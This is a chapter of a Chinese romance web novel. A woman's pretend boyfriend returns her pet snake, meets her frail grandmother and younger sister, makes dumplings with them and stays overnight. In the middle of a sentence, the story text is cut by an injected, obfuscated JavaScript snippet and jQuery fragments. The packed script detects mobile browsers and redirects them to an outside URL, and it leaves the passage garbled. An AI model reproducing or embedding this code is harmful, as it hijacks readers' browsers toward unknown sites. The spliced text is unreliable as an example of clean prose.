逢城的冬天，总是这样缠着雨，寒风刺骨。
研学活动结束后，温妤迎来了她的寒假。她今年没有选择出去打寒假工挣钱，打算一整个寒假的时间都在家里陪着年迈的温奶奶。
家里没有装空调，只有一个老旧的小太阳可以取暖，为了省电，她大多数窝在床上。就像现在，本来窝着窝着睡着了，却被一通响亮的电话铃声吵醒。
温妤艰难地摸到枕头缝隙里的手机，迷迷糊糊看了一眼，屏幕上赫然是熟悉的备注。
周遂砚无甚波澜的语气通过听筒传进来：“发个家里的地址过来。”
“干嘛？”
周遂砚反问：“你的宠物蛇不要了？”
温妤挂掉电话，努努嘴，磨磨蹭蹭发送家里的地址过去。
几个小时之后，她原本以为会是祝叔帮忙把钱兜送回来，毕竟之前出去研学的时候钱兜都是交由他来照顾的，可当在院门口看见纹丝不动的周遂砚时，心跳瞬间漏了半拍。
他身穿灰羊绒大衣，领口随意翻着驼色高领毛衣边缘，左手稳稳举着一把远超常规尺寸的黑色长柄伞，右手提着的透明饲养箱是画面里唯一的亮色，而袖口露出的银灰色机械表链在雨雾里泛着冷光。
温妤就那样站在离他三步远的位置，眼底掠过微不可察的惊讶，又很快消失不见。
周遂砚从她抿紧的唇线游移到微微蹙起的眉峰，款款挪步走向她，好整以暇地歪头道：“几天不见，不认识了？”
她抬头凝视他，实话实说：“没想过你会亲自来。”伞面边缘垂下的雨帘在两人的脚边积成小小的水洼。
温妤接过他递来的透明饲养箱，箱内盘踞成精致螺旋的钱兜突然动了一下，细长的信子快速吞吐，明显感受到了主人的气息。
正当她想转身离开时，发现他还站在原地不动。
“你不走吗？”
周遂砚对她疏离赶人的态度不太满意，眼底一片冷然道：“不请我进去坐坐？”
温妤在心里细想，好像这么久了确实没带他进过家门，更何况人家大老远跑过来帮她运宠物蛇，至少还是要喝上一口茶作为感谢的。
“那进来吧。”
屋内的温度没有比外面暖多少，那张供香桌上面依然插着正在燃烧的香烛。周遂砚的目光放在那张遗照上，转而开始打量周围的一切。
倏然，温奶奶双手拄着拐杖从房间里出来，她每一步都要先将重心压在前脚掌，再艰难地拖动后脚跟。
最让人心头发紧的是她穿棉袄的样子，驼峰般的后背把枣红色棉衣领撑得老高，领口与后颈之间却空出核桃大小的三角区，露出里面洗得发白的深蓝布衬衣。
“囡囡，谁来了？”她说完这句话又开始咳嗽起来，整个上半身向前折叠成更小的锐角。
温妤忙不迭过去搀扶着帮她顺气，一时不知道该如何介绍周遂砚的身份。
周遂砚自顾自介绍道：“奶奶，我是周遂砚，温妤的男朋友。”
温妤一脸懵逼，瞪大眼睛看向他。这人演戏演过头了吧，当初只说在他父母面前假扮情侣关系，又没让他要在她家人面前演戏。
所以这又是闹哪出？
温奶奶的眼睛亮得惊人，随即抓住温妤的胳膊反复确认：“是男朋友？”不等她回答，又问：“哪里人啊？多大了？做什么工作的？”
周遂砚自报家门，“逢城人，三十四岁，以前是舞台剧演员，现在是一名舞台剧编剧。”
“这个年龄和我们家囡囡相差有点大，不过年纪大点也可以，比较会照顾人。”说着说着，温奶奶眼眶忽然红了，她用手背抹了抹眼角，声音却带着笑：“总算有人替我看着你了。”
自从温奶奶得知温妤和青梅竹马贺君珩分手后，除了惋惜外，更多的是害怕自己走后她会没人撑腰。
温妤瞬间顿悟，其实也可以利用这层虚假的关系，让奶奶不用这么操心自己的后半辈子，让她心定地认为自己也是有人陪伴、有人照应的。
于是她半真半假道：“他很好，也很照顾我。”
温奶奶听后更开心了，拉着周遂砚的手放在自家孙女手背上，欣慰地说：“今天家里包饺子，留下来吃完晚饭再走吧。”
周遂砚意味深长地看了温妤一眼，才道：“好。”
——
碗里装满的馅料是韭菜猪肉，里面还掺杂了些许切碎的蘑菇，泛着油光，完美融合在一起。
温妤进厨房用瓷碗对着水龙头装一碗生水，顺带拿了筷子和勺子出来。她回到客厅的时候发现周遂砚不知何时把那件灰羊绒大衣给脱了，里面的高领毛衣穿在他身上别有一番风味。
温奶奶在柜子里艰难地掏那个无边沿的盖垫，打算用来盛放刚包好的生水饺。
周遂砚见状，三步并作两步上前，“我来吧，需要找什么？”
温奶奶蹒跚退让几步，笑着说：“一个用高粱杆手工缝制的盖垫。”
他蹲下身子朝柜子里看，在一堆乱七八糟的杂物后面，看见了那个圆圆的、像盖子一样的东西，伸手翻找出来。
“是这个吗？”
“是这个。”温奶奶整个身体的重量都撑在拐杖上，补充说：“这还是赶集的时候囡囡给我买的。”
温妤盯着周遂砚的侧脸，家里的灯管偏暗黄，打在他脸上的光很细腻。
出神之际，她听见妹妹温楠清亮的声音从门口传来：“奶奶，姐，我回来啦。”她进门的时候收了伞，把拉到顶的衣服拉链往下松，终于能喘口气了。
温楠一抬头，瞧见不远处的周遂砚，又惊又喜道：“姐夫，你也在啊！”
周遂砚的眼尾下垂带来温和感，他微微点点头，然后好奇问：“你放了寒假一直和你姐待在一起吗？”
“是啊，我今天去隔壁找我朋友看电影去了。”
温妤阴阳怪气道：“人家没留你吃饭？”
“哎呀姐。”温楠拖着长长的尾音，听上去像是在撒娇，“我这不赶在吃饭前回来了嘛。”她扫视一眼桌上的阵仗，火速去洗干净手准备开始干活。
温奶奶一直看着两姐妹互相打闹，脸上的笑容就没下来过。她喜欢这种热闹，平时一个人在家太孤独，盼星星盼月亮，终于把人给盼回家了。
温奶奶见周遂砚挽起衣袖作势要拿饺子皮，连忙制止道：“饺子皮上有很多面粉，别弄脏了手，我们来就行。”
闻言，温妤沾水的手一顿，眼睫颤动。
周遂砚没回应，径直绕过温奶奶的手，果断拿了一张饺子皮。他食指沾水涂抹在边沿，拿勺子挑了半勺馅放在中央，再用极快的手法捏褶子。
温楠打破沉默道：“哇塞，姐夫，你包饺子的技术杠杠的。”
温妤侧目而视，他刚包好的那个饺子圆鼓鼓的，面皮边缘是半月形的褶皱，给饺子戴上了蕾丝花边。
她脑海中不由自主浮现在银月川做糍粑的情形，只不过糍粑是满月状的。
温奶奶一向知道温妤包出来的饺子，还没下锅就会开始张开嘴巴，于是提醒道：“囡囡，要捏实。”
听罢，温妤加大动作，她虽然很用力在捏实，但手法不对，还是留有透气孔。
“捏合处还是不够紧密。”周遂砚的声音从肩头传来，带着点笑意，却没什么嘲弄的意思。
温妤不太服气，手指僵硬地将馅往中间一挤兑，饺子皮直接裂了。她不耐烦地将其扔进垃圾桶，气鼓鼓，像只生气的河豚。
他再帮她拿了一张新的饺子皮，递给她说：“再试一次。”
她犹豫两三秒才耐着性子接。
周遂砚只俯身，右手轻轻覆上她拿面皮的左手，左手则捏住她捏合的手指，将她的动作往正确的位置带：“不是捏中间，是从右往左，边捏边推。”
他的手指带着她的，食指微微向上推折面皮，“像这样，每折一下，用点力压合，让面皮自己咬住自己。”
温妤的呼吸顿了顿。他的胸膛离她很近，能闻到他身上淡淡的沐浴露混着面粉香，说话时他的气息扫过她的耳尖。
她跟着他的力道，指尖在他引导下推折出第一道褶，又一道。这次馅料没再乱跑，反而服帖地被裹在面皮里。当最后一道褶捏合，他松开手时，那个饺子竟稳稳地立在了面板上，边缘的波浪形褶子虽然还歪歪扭扭，却紧紧实实。
“看。”他点了点饺子的肚皮，“它这不就老实了？”
温妤低头，忽然发现自己的指尖还残留着他指腹的温度，连带着那排歪歪扭扭的褶子，都带着点烫人的暖意。
温楠拧起鼻尖，控诉道：“你俩专门来虐我和奶奶这两条单身狗的吧。”
温奶奶不解道：“什么是单身狗啊？”
温妤别开眼，不吭声了，半掩在头发下那两只白净的耳朵，不可控制地烫了起来。
——
饭后。
温妤踢了踢温楠的凳脚，催促道：“快去把遥控器拿给我。”
周遂砚看着快马加鞭跑过去拿遥控器的温楠，偏头打趣道：“你使唤你妹妹还真是得心应手啊。”
温楠重新坐回凳子上，把掉下来的刘海夹住，露出那张素净的脸蛋，自豪道：“我可是我姐最忠诚的仆人。”继而重复道：“除了我，这个世界上没有任何人有资格当我姐的仆人了。”
这是在争夺地位呢。
温妤心里乐呵呵，嘴上却嫌弃道：“少刷点视频，净学些有的没的。”
温楠焉头耷脑道：“你网速太快了！”
有人在家里说话，温奶奶也不会像往常那样盯着老式电视机来降低孤独感，她就坐在那，安静地听着这些拌嘴和琐碎日常，惬意又温暖。
温楠想一出是一出，忽然从房间里拿出温妤给她买的积木蛋糕，边侧头仔细看纸张攻略，边拼凑零件，特别认真。
老式电视机画面不是很清晰，温妤的眼睛追随跃动的人群，当画面里主人公望向自己的腕表时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16670088|180393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，她犹如被提醒那般，瞟了一眼挂在墙上的钟表。
正当她想开口问周遂砚几点钟走时，温楠骤然间随口一说：“明天是赶集日诶，我们早起去赶集吧。”
“赶集？”周遂砚隐隐约约有印象，温奶奶说那个盖垫是温妤去赶集的时候买回来的。
温楠没心没肺地邀请道：“对啊，姐夫你和我们一起去吗？”
“他一会要走了。”
“可以。”
两道声音几乎重合，但长的盖过短的。
温楠看看温妤，又看看周遂砚，须臾“哦”了一声，还是有点失落。
温奶奶怎会不知她的低落情绪，嘴上留人：“好不容易来一趟，多玩几天再走吧，也当陪陪我这个半只脚踏进棺材的老太婆。”
高龄老人确实是见一面少一面，可温妤不允许她这么说自己半只脚踏进棺材，“奶奶你下次再说什么棺材不棺材的，理你我就是狗。”
温奶奶摆摆手，“好好好，不说，是我说错话了。”
周遂砚知道温妤很紧张奶奶，便顺着她们的话说：“我还没见过你们这边赶集是什么样子的，刚好明天有机会去看看。”
温奶奶很感激他的圆场话，朝他慈祥地展露了一个皱纹堆在一起的笑容。
温妤又瞟了眼时间，起身去柜子里拿药，再兑了一杯温热水，督促温奶奶把药咽下去。
温楠的积木蛋糕刚好拼好，上面铺满清新且繁盛的鲜花，她小心翼翼地用一个尺寸偏大的盒子先暂时装好，然后主动上前搀扶奶奶，说：“今晚我和奶奶睡吧，你俩睡一屋。”
温妤真拿这个妹妹没办法，自打她找来学校那次以来，两人的关系更上一层楼。
说到底周遂砚还从未踏足过温妤的房间，那种真真正正只属于她一个人的房间。
推开门，他一眼便看见那把靠在墙角的吉他，带着刻意的随性，琴头微微歪向书桌，弦在灯光下泛着银灰。
书桌的第二层抽屉半开着，露出磁带盒堆叠的棱角。磁带堆里混着几盘自制录音带，标签纸上是不同时期的字迹，最新那卷写着即兴练习。
黑白动漫海报从书桌上方一直蔓延到床头，墙上的动漫人物们静默矗立，见证着这个被打扫干净却依然充满生活褶皱的青春角落。
周遂砚打量着这片陌生的空间，总结出自己对温妤的内心世界涉足未深。就像现在，她堆叠在一起的磁带，他可能一个都没听过，那些墙上熨贴整齐的动漫人物也不认识几个。
他随便指了个口中含剑的侠客形象，问：“这是谁？”
温妤不认为他是感兴趣，转移话题道：“要不要烧水洗澡？”
“好，我去车上拿换洗的衣服。”来之前，他其实没打算留下来，因为要在年前和外公去拜访一位故人，正好提前收拾的那几身行头现在派上用场了。
这么冷的天气里水很难烧热，再加上浴室里也没有灯暖，周遂砚洗澡的时间比平时缩短一半。
他再次回到房间的时候，温妤已经躺下，正背对着他在玩手机。
床垫下陷，温妤感受到他的靠近，没搭理，依旧沉浸在游戏的排位赛里。池屹的游戏技术很顶，她很爱和他一起玩游戏。
他瞥到那个熟悉的游戏昵称，神色慢慢沉了下去，“明天要早起，还不睡？”
“玩完这局。”温妤依旧只给他一个背影。
大概过了半个小时，游戏胜利结束。期间她不知道他在干嘛，或许又是用手机看剧本，或者看新闻、股市这一类她不懂又不感冒的东西吧。
温妤给手机充上电，转身说：“那我关灯了？”
周遂砚“嗯”了一声，也把手机放在床头柜上，抓着被子和她一起躺下。
窗外的雨不知道什么时候停了，只剩下呼啸而过的风，猛猛地拍打着窗户。
寒气像细密的针，钻进被子里。温妤蜷缩成一团，脚趾跟踩在碎冰上似的，每动一下都带着僵硬的凉意。
她悄悄把脚往被子深处缩，碰到的只有同样冰冷的床单。
身旁的周遂砚呼吸均匀，似乎早已熟睡。她不敢动作太大，怕惊扰到他，只能任由寒意顺着脚踝往上爬，无论怎么闭眼都很清醒。
温妤的大脑在胡思乱想，陡然感觉有什么温热的东西轻轻贴上了自己的脚背。她浑身一僵，屏住了呼吸。
那温度带着属于另一个人的体温，像温水漫过寒潭，小心翼翼又略微强势地包裹住她冰凉的脚趾。
黑暗中，她把脚偷偷往旁边移动，挣脱开这片温热。不料甚至连呼吸都没有变化的周遂砚，胸腔震动道：“过来。”
原来他还没睡。
温妤犹豫片刻，紧接着照做不误，把脚往他那边又凑了凑，犹如一只找到热源的小动物。
窗外的风声似乎都变得遥远了。温妤闭上眼睛，感受着两人脚掌心相贴的温度，笨拙又真诚。
她的眼眶有些发热，带着酸涩又复杂的情绪入眠。